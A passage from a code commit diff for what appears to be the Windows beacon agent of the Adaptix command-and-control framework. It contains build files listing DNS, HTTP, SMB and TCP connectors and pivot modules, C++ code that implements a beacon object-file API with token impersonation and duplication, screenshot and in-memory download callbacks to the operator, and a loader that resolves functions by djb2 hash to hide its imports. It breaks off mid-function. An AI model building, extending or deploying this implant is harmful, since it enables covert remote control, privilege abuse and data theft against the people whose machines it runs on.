<PreprocessorDefinitions>BEACON_DNS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|x64'">
<Link>
<EntryPointSymbol>
</EntryPointSymbol>
<SubSystem>Console</SubSystem>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
</Link>
<ClCompile>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<SDLCheck>false</SDLCheck>
<Optimization>Disabled</Optimization>
<ConformanceMode>true</ConformanceMode>
<AdditionalOptions>/D DEBUG %(AdditionalOptions)</AdditionalOptions>
<PreprocessorDefinitions>BEACON_TCP;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Agent.cpp" />
<ClCompile Include="AgentConfig.cpp" />
<ClCompile Include="AgentInfo.cpp" />
<ClCompile Include="ApiLoader.cpp" />
<ClCompile Include="beacon_functions.cpp" />
<ClCompile Include="Boffer.cpp" />
<ClCompile Include="bof_loader.cpp" />
<ClCompile Include="Commander.cpp" />
<ClCompile Include="config.cpp" />
<ClCompile Include="ConnectorDNS.cpp" />
<ClCompile Include="ConnectorHTTP.cpp" />
<ClCompile Include="ConnectorSMB.cpp" />
<ClCompile Include="ConnectorTCP.cpp" />
<ClCompile Include="Crypt.cpp" />
<ClCompile Include="DnsCodec.cpp" />
<ClCompile Include="Downloader.cpp" />
<ClCompile Include="Encoders.cpp" />
<ClCompile Include="JobsController.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="MainAgent.cpp" />
<ClCompile Include="MemorySaver.cpp" />
<ClCompile Include="miniz.cpp" />
<ClCompile Include="Packer.cpp" />
<ClCompile Include="Pivotter.cpp" />
<ClCompile Include="ProcLoader.cpp" />
<ClCompile Include="Proxyfire.cpp" />
<ClCompile Include="std.cpp" />
<ClCompile Include="utils.cpp" />
<ClCompile Include="WaitMask.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="adaptix.h" />
<ClInclude Include="Agent.h" />
<ClInclude Include="AgentConfig.h" />
<ClInclude Include="AgentInfo.h" />
<ClInclude Include="ApiDefines.h" />
<ClInclude Include="ApiLoader.h" />
<ClInclude Include="beacon.h" />
<ClInclude Include="Boffer.h" />
<ClInclude Include="bof_loader.h" />
<ClInclude Include="Commander.h" />
<ClInclude Include="config.h" />
<ClInclude Include="Connector.h" />
<ClInclude Include="ConnectorDNS.h" />
<ClInclude Include="ConnectorHTTP.h" />
<ClInclude Include="ConnectorSMB.h" />
<ClInclude Include="ConnectorTCP.h" />
<ClInclude Include="Crypt.h" />
<ClInclude Include="defines.h" />
<ClInclude Include="DnsCodec.h" />
<ClInclude Include="Downloader.h" />
<ClInclude Include="Encoders.h" />
<ClInclude Include="JobsController.h" />
<ClInclude Include="main.h" />
<ClInclude Include="MemorySaver.h" />
<ClInclude Include="miniz.h" />
<ClInclude Include="ntdll.h" />
<ClInclude Include="Packer.h" />
<ClInclude Include="Pivotter.h" />
<ClInclude Include="ProcLoader.h" />
<ClInclude Include="Proxyfire.h" />
<ClInclude Include="utils.h" />
<ClInclude Include="WaitMask.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
<ItemGroup>
<MASM Include="chkstk_x64.asm">
<ExcludedFromBuild Condition="'$(Platform)'=='Win32'">true</ExcludedFromBuild>
</MASM>
</ItemGroup>
</Project>
+257
View File
@@ -0,0 +1,257 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Headers">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resources">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Source\Agent">
<UniqueIdentifier>{1d5785ed-7177-4edd-b33c-a1ca0256fef5}</UniqueIdentifier>
</Filter>
<Filter Include="Headers\Agent">
<UniqueIdentifier>{9388f9a8-ed9f-4534-95b0-df703ef01a75}</UniqueIdentifier>
</Filter>
<Filter Include="Source\Encrypt">
<UniqueIdentifier>{0e959577-b36c-43ca-9898-ab7519a17459}</UniqueIdentifier>
</Filter>
<Filter Include="Headers\Encrypt">
<UniqueIdentifier>{7ee86ebc-a959-4493-9bc2-a2b1597f1337}</UniqueIdentifier>
</Filter>
<Filter Include="Source\utils">
<UniqueIdentifier>{f0007444-cc35-49e8-afb3-0d7e04ab2fe3}</UniqueIdentifier>
</Filter>
<Filter Include="Headers\utils">
<UniqueIdentifier>{31592d34-a5db-4b5b-99e6-86789fd5c5bc}</UniqueIdentifier>
</Filter>
<Filter Include="Source\Commander">
<UniqueIdentifier>{174c2aaf-8976-4bee-a901-e812ceb3adfb}</UniqueIdentifier>
</Filter>
<Filter Include="Headers\Commander">
<UniqueIdentifier>{aab2f128-c956-4338-8112-eb6add9224a0}</UniqueIdentifier>
</Filter>
<Filter Include="Headers\ApiLoader">
<UniqueIdentifier>{105ed7ee-3bc4-4b29-bad4-30dac5b9460a}</UniqueIdentifier>
</Filter>
<Filter Include="Source\ApiLoader">
<UniqueIdentifier>{75ea1e98-244a-4ba6-861a-9c877f9e4133}</UniqueIdentifier>
</Filter>
<Filter Include="Source\Connectors">
<UniqueIdentifier>{794a84d3-d343-4aa1-9c08-cab08b06fd1d}</UniqueIdentifier>
</Filter>
<Filter Include="Headers\Connectors">
<UniqueIdentifier>{c7e8b0b0-37fd-4e3d-8561-9569fda4fa5b}</UniqueIdentifier>
</Filter>
<Filter Include="Source\utils\dns">
<UniqueIdentifier>{39e9ee80-0802-47a1-801e-20dfbe08f786}</UniqueIdentifier>
</Filter>
<Filter Include="Headers\utils\dns">
<UniqueIdentifier>{9cce93ae-d7e9-4d72-93e2-142e09bf5cac}</UniqueIdentifier>
</Filter>
<Filter Include="Headers\Commander\Boffer">
<UniqueIdentifier>{b0e0adee-9aa6-42f6-ab51-45c63118e2e7}</UniqueIdentifier>
</Filter>
<Filter Include="Source\Commander\Boffer">
<UniqueIdentifier>{d5a9b678-296c-452a-aa31-c4262d91d985}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source</Filter>
</ClCompile>
<ClCompile Include="MainAgent.cpp">
<Filter>Source</Filter>
</ClCompile>
<ClCompile Include="Packer.cpp">
<Filter>Source</Filter>
</ClCompile>
<ClCompile Include="Agent.cpp">
<Filter>Source\Agent</Filter>
</ClCompile>
<ClCompile Include="AgentConfig.cpp">
<Filter>Source\Agent</Filter>
</ClCompile>
<ClCompile Include="AgentInfo.cpp">
<Filter>Source\Agent</Filter>
</ClCompile>
<ClCompile Include="Encoders.cpp">
<Filter>Source\Encrypt</Filter>
</ClCompile>
<ClCompile Include="utils.cpp">
<Filter>Source\utils</Filter>
</ClCompile>
<ClCompile Include="Commander.cpp">
<Filter>Source\Commander</Filter>
</ClCompile>
<ClCompile Include="Downloader.cpp">
<Filter>Source\Commander</Filter>
</ClCompile>
<ClCompile Include="MemorySaver.cpp">
<Filter>Source\Commander</Filter>
</ClCompile>
<ClCompile Include="JobsController.cpp">
<Filter>Source\Commander</Filter>
</ClCompile>
<ClCompile Include="beacon_functions.cpp">
<Filter>Source\Commander\Boffer</Filter>
</ClCompile>
<ClCompile Include="Crypt.cpp">
<Filter>Source\Encrypt</Filter>
</ClCompile>
<ClCompile Include="WaitMask.cpp">
<Filter>Source</Filter>
</ClCompile>
<ClCompile Include="std.cpp">
<Filter>Source\utils</Filter>
</ClCompile>
<ClCompile Include="ApiLoader.cpp">
<Filter>Source\ApiLoader</Filter>
</ClCompile>
<ClCompile Include="ProcLoader.cpp">
<Filter>Source\ApiLoader</Filter>
</ClCompile>
<ClCompile Include="config.cpp">
<Filter>Source\Agent</Filter>
</ClCompile>
<ClCompile Include="Proxyfire.cpp">
<Filter>Source\Commander</Filter>
</ClCompile>
<ClCompile Include="ConnectorHTTP.cpp">
<Filter>Source\Connectors</Filter>
</ClCompile>
<ClCompile Include="ConnectorSMB.cpp">
<Filter>Source\Connectors</Filter>
</ClCompile>
<ClCompile Include="Pivotter.cpp">
<Filter>Source\Commander</Filter>
</ClCompile>
<ClCompile Include="ConnectorTCP.cpp">
<Filter>Source\Connectors</Filter>
</ClCompile>
<ClCompile Include="miniz.cpp">
<Filter>Source\utils</Filter>
</ClCompile>
<ClCompile Include="ConnectorDNS.cpp">
<Filter>Source\Connectors</Filter>
</ClCompile>
<ClCompile Include="DnsCodec.cpp">
<Filter>Source\utils\dns</Filter>
</ClCompile>
<ClCompile Include="Boffer.cpp">
<Filter>Source\Commander</Filter>
</ClCompile>
<ClCompile Include="bof_loader.cpp">
<Filter>Source\Commander\Boffer</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="main.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="defines.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="Packer.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="ntdll.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="Agent.h">
<Filter>Headers\Agent</Filter>
</ClInclude>
<ClInclude Include="AgentConfig.h">
<Filter>Headers\Agent</Filter>
</ClInclude>
<ClInclude Include="AgentInfo.h">
<Filter>Headers\Agent</Filter>
</ClInclude>
<ClInclude Include="Encoders.h">
<Filter>Headers\Encrypt</Filter>
</ClInclude>
<ClInclude Include="utils.h">
<Filter>Headers\utils</Filter>
</ClInclude>
<ClInclude Include="Commander.h">
<Filter>Headers\Commander</Filter>
</ClInclude>
<ClInclude Include="Downloader.h">
<Filter>Headers\Commander</Filter>
</ClInclude>
<ClInclude Include="MemorySaver.h">
<Filter>Headers\Commander</Filter>
</ClInclude>
<ClInclude Include="JobsController.h">
<Filter>Headers\Commander</Filter>
</ClInclude>
<ClInclude Include="beacon.h">
<Filter>Headers\Commander\Boffer</Filter>
</ClInclude>
<ClInclude Include="Crypt.h">
<Filter>Headers\Encrypt</Filter>
</ClInclude>
<ClInclude Include="WaitMask.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="ApiLoader.h">
<Filter>Headers\ApiLoader</Filter>
</ClInclude>
<ClInclude Include="ProcLoader.h">
<Filter>Headers\ApiLoader</Filter>
</ClInclude>
<ClInclude Include="ApiDefines.h">
<Filter>Headers\ApiLoader</Filter>
</ClInclude>
<ClInclude Include="config.h">
<Filter>Headers\Agent</Filter>
</ClInclude>
<ClInclude Include="Proxyfire.h">
<Filter>Headers\Commander</Filter>
</ClInclude>
<ClInclude Include="ConnectorHTTP.h">
<Filter>Headers\Connectors</Filter>
</ClInclude>
<ClInclude Include="ConnectorSMB.h">
<Filter>Headers\Connectors</Filter>
</ClInclude>
<ClInclude Include="Pivotter.h">
<Filter>Headers\Commander</Filter>
</ClInclude>
<ClInclude Include="ConnectorTCP.h">
<Filter>Headers\Connectors</Filter>
</ClInclude>
<ClInclude Include="adaptix.h">
<Filter>Headers\Commander\Boffer</Filter>
</ClInclude>
<ClInclude Include="miniz.h">
<Filter>Headers\utils</Filter>
</ClInclude>
<ClInclude Include="ConnectorDNS.h">
<Filter>Headers\Connectors</Filter>
</ClInclude>
<ClInclude Include="DnsCodec.h">
<Filter>Headers\utils\dns</Filter>
</ClInclude>
<ClInclude Include="Boffer.h">
<Filter>Headers\Commander</Filter>
</ClInclude>
<ClInclude Include="bof_loader.h">
<Filter>Headers\Commander\Boffer</Filter>
</ClInclude>
<ClInclude Include="Connector.h">
<Filter>Headers\Connectors</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="chkstk_x64.asm">
<Filter>Source</Filter>
</MASM>
</ItemGroup>
</Project>
+538
View File
@@ -0,0 +1,538 @@
#include "adaptix.h"
#include "utils.h"
#include "ApiLoader.h"
#include "Packer.h"
#include "Agent.h"
#include "main.h"
#include "Boffer.h"
Packer* bofOutputPacker = NULL;
int bofOutputCount = 0;
ULONG bofTaskId = 0;
HANDLE g_StoredToken = NULL;
BOOL IsAsyncBofThread();
void AsyncBofOutput(int type, PBYTE data, int dataSize);
void BofOutputToTask(int type, PBYTE data, int dataSize)
{
if (IsAsyncBofThread()) {
AsyncBofOutput(type, data, dataSize);
return;
}
if (bofOutputPacker) {
bofOutputPacker->Pack32(bofTaskId);
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
bofOutputPacker->Pack32(type);
bofOutputPacker->PackBytes(data, dataSize);
}
}
void AsyncBofOutput(int type, PBYTE data, int dataSize)
{
AsyncBofContext* ctx = tls_CurrentBofContext;
if (!ctx || !ctx->outputBuffer)
return;
ApiWin->EnterCriticalSection(&ctx->outputLock);
ctx->outputBuffer->Pack32(ctx->taskId);
ctx->outputBuffer->Pack32(51); // COMMAND_EXEC_BOF_OUT
ctx->outputBuffer->Pack32(type);
ctx->outputBuffer->PackBytes(data, dataSize);
ApiWin->LeaveCriticalSection(&ctx->outputLock);
}
BOOL IsAsyncBofThread()
{
return (tls_CurrentBofContext != NULL);
}
unsigned int swap_endianess(unsigned int indata)
{
unsigned int testint = 0xaabbccdd;
unsigned int outint = indata;
if (((unsigned char*)&testint)[0] == 0xdd) {
((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
}
return outint;
}
/// Data Parser API
//char* BeaconDataPtr(datap* parser, int size);
void BeaconDataParse(datap* parser, char* buffer, int size)
{
if (parser == NULL || buffer == NULL)
return;
parser->original = buffer;
parser->buffer = buffer;
parser->length = size - 4;
parser->size = size - 4;
parser->buffer += 4;
}
int BeaconDataInt(datap* parser)
{
if (parser == NULL)
return 0;
int fourbyteint = 0;
if (parser->length < 4) {
return 0;
}
memcpy(&fourbyteint, parser->buffer, 4);
parser->buffer += 4;
parser->length -= 4;
return (int)fourbyteint;
}
short BeaconDataShort(datap* parser)
{
if (parser == NULL)
return 0;
short retvalue = 0;
if (parser->length < 2) {
return 0;
}
memcpy(&retvalue, parser->buffer, 2);
parser->buffer += 2;
parser->length -= 2;
return (short)retvalue;
}
int BeaconDataLength(datap* parser)
{
if (parser == NULL)
return 0;
return parser->length;
}
char* BeaconDataExtract(datap* parser, int* size)
{
if (parser == NULL)
return 0;
unsigned int length = 0;
char* outdata = NULL;
if (parser->length < 4) {
return NULL;
}
memcpy(&length, parser->buffer, 4);
parser->length -= 4;
parser->buffer += 4;
outdata = parser->buffer;
if (outdata == NULL) {
return NULL;
}
parser->length -= length;
parser->buffer += length;
if (size != NULL && outdata != NULL) {
*size = length;
}
return outdata;
}
/// Output API
void BeaconOutput(int type, const char* data, int len)
{
if (data == NULL)
return;
BofOutputToTask(type, (PBYTE)data, len);
}
void BeaconPrintf(int type, const char* fmt, ...)
{
if (fmt == NULL)
return;
int length = 0;
va_list args;
va_start(args, fmt);
length = ApiWin->vsnprintf(NULL, 0, fmt, args);
va_end(args);
if (length == -1)
return;
length += 1;
char* tmp_output = (char*)MemAllocLocal(length);
va_start(args, fmt);
length = ApiWin->vsnprintf(tmp_output, length, fmt, args);
va_end(args);
BofOutputToTask(type, (PBYTE)tmp_output, length);
MemFreeLocal((LPVOID*)&tmp_output, length);
}
/// Format API
void BeaconFormatAlloc(formatp* format, int maxsz)
{
if (format == NULL) {
return;
}
format->original = (PCHAR)ApiWin->LocalAlloc(LPTR, maxsz);
format->buffer = format->original;
format->length = 0;
format->size = maxsz;
}
void BeaconFormatReset(formatp* format)
{
if (format == NULL)
return;
memset(format->original, 0, format->size);
format->buffer = format->original;
format->length = 0;
}
void BeaconFormatAppend(formatp* format, const char* text, int len)
{
if (format == NULL || text == NULL)
return;
memcpy(format->buffer, text, len);
format->buffer += len;
format->length += len;
}
void BeaconFormatPrintf(formatp* format, const char* fmt, ...)
{
if (format == NULL || fmt == NULL)
return;
va_list args;
int length = 0;
va_start(args, fmt);
length = ApiWin->vsnprintf(NULL, 0, fmt, args);
va_end(args);
if (length <= 0)
return;
if (format->length + length > format->size) {
return;
}
va_start(args, fmt);
ApiWin->vsnprintf(format->buffer, length + 1, fmt, args);
va_end(args);
format->length += length;
format->buffer += length;
}
char* BeaconFormatToString(formatp* format, int* size)
{
if (format == NULL)
return NULL;
if (size != NULL)
*size = format->length;
return format->original;
}
void BeaconFormatFree(formatp* format)
{
if (format == NULL)
return;
if (format->original) {
MemFreeLocal((LPVOID*) &format->original, format->size);
}
format->buffer = NULL;
format->length = 0;
format->size = 0;
}
void BeaconFormatInt(formatp* format, int value)
{
if (format == NULL)
return;
unsigned int indata = value;
unsigned int outdata = 0;
if (format->length + 4 > format->size) {
return;
}
outdata = swap_endianess(indata);
memcpy(format->buffer, &outdata, 4);
format->length += 4;
format->buffer += 4;
}
/// Internal APIs
BOOL BeaconUseToken(HANDLE token)
{
if (ApiWin->ImpersonateLoggedOnUser(token) || ApiWin->SetThreadToken(NULL, token)) {
if (g_StoredToken) {
ApiNt->NtClose(g_StoredToken);
g_StoredToken = NULL;
}
ApiWin->DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &g_StoredToken);
return TRUE;
}
return FALSE;
}
void BeaconRevertToken(void)
{
ApiWin->RevertToSelf();
if (g_StoredToken) {
ApiNt->NtClose(g_StoredToken);
g_StoredToken = NULL;
}
}
BOOL BeaconIsAdmin(void)
{
BOOL high = IsElevate();
return high;
}
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length)
{
char* tempBufferPath = NULL;
if ( !buffer )
return;
}
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo)
{
BOOL bSuccess = FALSE;
return bSuccess;
}
VOID BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len)
{
}
VOID BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len)
{
}
VOID BeaconCleanupProcess(PROCESS_INFORMATION* pInfo)
{
}
PDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index)
{
return NULL;
}
VOID BeaconDataStoreProtectItem(SIZE_T index)
{
}
VOID BeaconDataStoreUnprotectItem(SIZE_T index)
{
}
ULONG BeaconDataStoreMaxEntries()
{
return 0;
}
BOOL toWideChar(char* src, wchar_t* dst, int max)
{
if (max < sizeof(wchar_t))
return FALSE;
return ApiWin->MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t));
}
BOOL BeaconInformation(BEACON_INFO* info)
{
return FALSE;
}
BOOL BeaconAddValue(const char* key, void* ptr)
{
if (!key || StrLenA(key) == 0)
return FALSE;
for (const auto& pair : g_Agent->Values) {
if (StrCmpA((const char*)pair.key, key) == 0) {
return FALSE;
}
}
size_t keyLen = StrLenA(key) + 1;
CHAR* newKey = (CHAR*)MemAllocLocal(keyLen);
if (!newKey)
return FALSE;
memcpy(newKey, key, keyLen);
g_Agent->Values.insert(newKey, ptr);
return TRUE;
}
PVOID BeaconGetValue(const char* key)
{
if (!key || StrLenA(key) == 0)
return NULL;
for (const auto& pair : g_Agent->Values) {
if (StrCmpA((const char*)pair.key, key) == 0) {
return pair.value;
}
}
return NULL;
}
BOOL BeaconRemoveValue(const char* key)
{
if (!key || StrLenA(key) == 0)
return FALSE;
for (auto it = g_Agent->Values.begin(); it != g_Agent->Values.end(); ++it) {
if (StrCmpA((const char*)(*it).key, key) == 0) {
LPVOID lpKey = (*it).key;
DWORD dwBufferSize = StrLenA((*it).key) + 1;
MemFreeLocal(&lpKey, dwBufferSize);
g_Agent->Values.remove((*it).key);
return TRUE;
}
}
return FALSE;
}
PCHAR BeaconGetCustomUserData()
{
return NULL;
}
/// System Call API
BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized)
{
return FALSE;
}
//LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
//LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
//BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
//BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
//BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
//BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
//BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
//DWORD BeaconResumeThread(HANDLE threadHandle);
//HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
//HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
//BOOL BeaconCloseHandle(HANDLE object);
//BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
//SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
//BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
//BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
//BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
/// Async BOF API
BOOL BeaconRegisterThreadCallback(PVOID callbackFunction, PVOID callbackData)
{
return TRUE;
}
BOOL BeaconUnregisterThreadCallback()
{
return TRUE;
}
void BeaconWakeup()
{
if (g_AsyncBofManager)
g_AsyncBofManager->SignalWakeup();
}
HANDLE BeaconGetStopJobEvent()
{
AsyncBofContext* ctx = tls_CurrentBofContext;
if (!ctx)
return NULL;
return ctx->hStopEvent;
}
/// 3rd party API
HMODULE proxy_LoadLibraryA(LPCSTR lpLibFileName)
{
return ApiWin->LoadLibraryA(lpLibFileName);
}
HMODULE proxy_GetModuleHandleA(LPCSTR lpModuleName)
{
return ApiWin->GetModuleHandleA(lpModuleName);
}
FARPROC proxy_GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
return ApiWin->GetProcAddress(hModule, lpProcName);
}
BOOL proxy_FreeLibrary(HMODULE hLibModule)
{
return ApiWin->FreeLibrary(hLibModule);
}
////////// AX Functions
void AxAddScreenshot(char* note, char* data, int len)
{
if (IsAsyncBofThread()) {
AsyncBofOutput(CALLBACK_AX_SCREENSHOT, (PBYTE)data, len);
return;
}
if (bofOutputPacker) {
bofOutputPacker->Pack32(bofTaskId);
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
bofOutputPacker->Pack32(CALLBACK_AX_SCREENSHOT);
bofOutputPacker->PackStringA(note);
bofOutputPacker->PackBytes((PBYTE)data, len);
}
}
void AxDownloadMemory(char* filename, char* data, int len)
{
if (IsAsyncBofThread()) {
AsyncBofOutput(CALLBACK_AX_DOWNLOAD_MEM, (PBYTE)data, len);
return;
}
if (bofOutputPacker) {
bofOutputPacker->Pack32(bofTaskId);
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
bofOutputPacker->Pack32(CALLBACK_AX_DOWNLOAD_MEM);
bofOutputPacker->PackStringA(filename);
bofOutputPacker->PackBytes((PBYTE)data, len);
}
}
+363
View File
@@ -0,0 +1,363 @@
#include "bof_loader.h"
#include "ProcLoader.h"
#include "utils.h"
#include "Boffer.h"
#define llabs(n) ((n) < 0 ? -(n) : (n))
#if defined(__x86_64__) || defined(_WIN64)
int IMP_LENGTH = 6;
#else
int IMP_LENGTH = 7;
#endif
int my_strncpy_s(char* dest, unsigned int destsz, const char* src, unsigned int count) {
if (!dest || !src) return 1;
if (destsz == 0) return 2;
unsigned int i = 0;
for (; i < count && i < destsz - 1 && src[i] != '\0'; ++i)
dest[i] = src[i];
if (i < count && src[i] != '\0') {
dest[0] = '\0';
return 3;
}
dest[i] = '\0';
return 0;
}
void InitBofOutputData()
{
if (bofOutputPacker == NULL)
bofOutputPacker = new Packer();
}
#define BEACON_FUNCTIONS_COUNT 32
BOF_API BeaconFunctions[BEACON_FUNCTIONS_COUNT] = {
/// 5 - Data Parser API
{ HASH_FUNC_BEACONDATAPARSE, (LPVOID) BeaconDataParse },
{ HASH_FUNC_BEACONDATAINT, (LPVOID) BeaconDataInt },
{ HASH_FUNC_BEACONDATASHORT, (LPVOID) BeaconDataShort },
{ HASH_FUNC_BEACONDATALENGTH, (LPVOID) BeaconDataLength },
{ HASH_FUNC_BEACONDATAEXTRACT, (LPVOID) BeaconDataExtract },
/// 2 - Output API
{ HASH_FUNC_BEACONOUTPUT, (LPVOID) BeaconOutput },
{ HASH_FUNC_BEACONPRINTF, (LPVOID) BeaconPrintf },
/// 7 - Format API
{ HASH_FUNC_BEACONFORMATALLOC, (LPVOID) BeaconFormatAlloc },
{ HASH_FUNC_BEACONFORMATRESET, (LPVOID) BeaconFormatReset },
{ HASH_FUNC_BEACONFORMATAPPEND, (LPVOID) BeaconFormatAppend },
{ HASH_FUNC_BEACONFORMATPRINTF, (LPVOID) BeaconFormatPrintf },
{ HASH_FUNC_BEACONFORMATTOSTRING, (LPVOID) BeaconFormatToString },
{ HASH_FUNC_BEACONFORMATFREE, (LPVOID) BeaconFormatFree },
{ HASH_FUNC_BEACONFORMATINT, (LPVOID) BeaconFormatInt },
/// 7 - Internal APIs
{ HASH_FUNC_BEACONUSETOKEN, (LPVOID) BeaconUseToken },
{ HASH_FUNC_BEACONREVERTTOKEN, (LPVOID) BeaconRevertToken },
{ HASH_FUNC_BEACONISADMIN, (LPVOID) BeaconIsAdmin },
//{ HASH_FUNC_BEACONGETSPAWNTO, BeaconGetSpawnTo },
//{ HASH_FUNC_BEACONSPAWNTEMPORARYPROCESS, BeaconSpawnTemporaryProcess },
//{ HASH_FUNC_BEACONINJECTPROCESS, BeaconInjectProcess },
//{ HASH_FUNC_BEACONINJECTTEMPORARYPROCESS, BeaconInjectTemporaryProcess },
//{ HASH_FUNC_BEACONCLEANUPPROCESS, BeaconCleanupProcess },
//{ HASH_FUNC_BEACONINFORMATION, BeaconInformation },
{ HASH_FUNC_TOWIDECHAR, (LPVOID) toWideChar },
{ HASH_FUNC_BEACONADDVALUE, (LPVOID) BeaconAddValue },
{ HASH_FUNC_BEACONGETVALUE, (LPVOID) BeaconGetValue },
{ HASH_FUNC_BEACONREMOVEVALUE, (LPVOID) BeaconRemoveValue },
/// 2 - Adaptix APIs
{ HASH_FUNC_AXADDSCREENSHOT, (LPVOID) AxAddScreenshot },
{ HASH_FUNC_AXDOWNLOADMEMORY, (LPVOID) AxDownloadMemory },
/// 3 - Async BOF APIs
{ HASH_FUNC_BEACONREGISTERTHREADCALLBACK, (LPVOID) BeaconRegisterThreadCallback },
{ HASH_FUNC_BEACONUNREGISTERTHREADCALLBACK, (LPVOID) BeaconUnregisterThreadCallback },
{ HASH_FUNC_BEACONWAKEUP, (LPVOID) BeaconWakeup },
{ HASH_FUNC_BEACONGETSTOPJOBEVENT, (LPVOID) BeaconGetStopJobEvent },
/// 5 - Other APIs
{ HASH_FUNC_LOADLIBRARYA, (LPVOID) proxy_LoadLibraryA },
{ HASH_FUNC_GETMODULEHANDLEA, (LPVOID) proxy_GetModuleHandleA },
{ HASH_FUNC_FREELIBRARY, (LPVOID) proxy_FreeLibrary },
{ HASH_FUNC_GETPROCADDRESS, (LPVOID) proxy_GetProcAddress },
{ HASH_FUNC___C_SPECIFIC_HANDLER, NULL }, // GetProcAddress(kern, "__C_specific_handler");
};
void* FindProcBySymbol(char* symbol)
{
if ( StrLenA(symbol) > IMP_LENGTH) {
ULONG funcHash = Djb2A((PUCHAR) symbol + IMP_LENGTH);
for (int i = 0; i < BEACON_FUNCTIONS_COUNT; i++) {
if (funcHash == BeaconFunctions[i].hash) {
if ( BeaconFunctions[i].proc != NULL )
return BeaconFunctions[i].proc;
}
}
char symbolCopy[1024] = { 0 };
memcpy(symbolCopy, symbol, StrLenA(symbol));
CHAR c1[] = { '$',0 };
CHAR c2[] = { '@',0 };
char* moduleName = symbolCopy + IMP_LENGTH;
moduleName = StrTokA(moduleName, c1);
char* funcName = StrTokA(NULL, c1);
funcName = StrTokA(funcName, c2);
funcHash = Djb2A((PUCHAR)funcName);
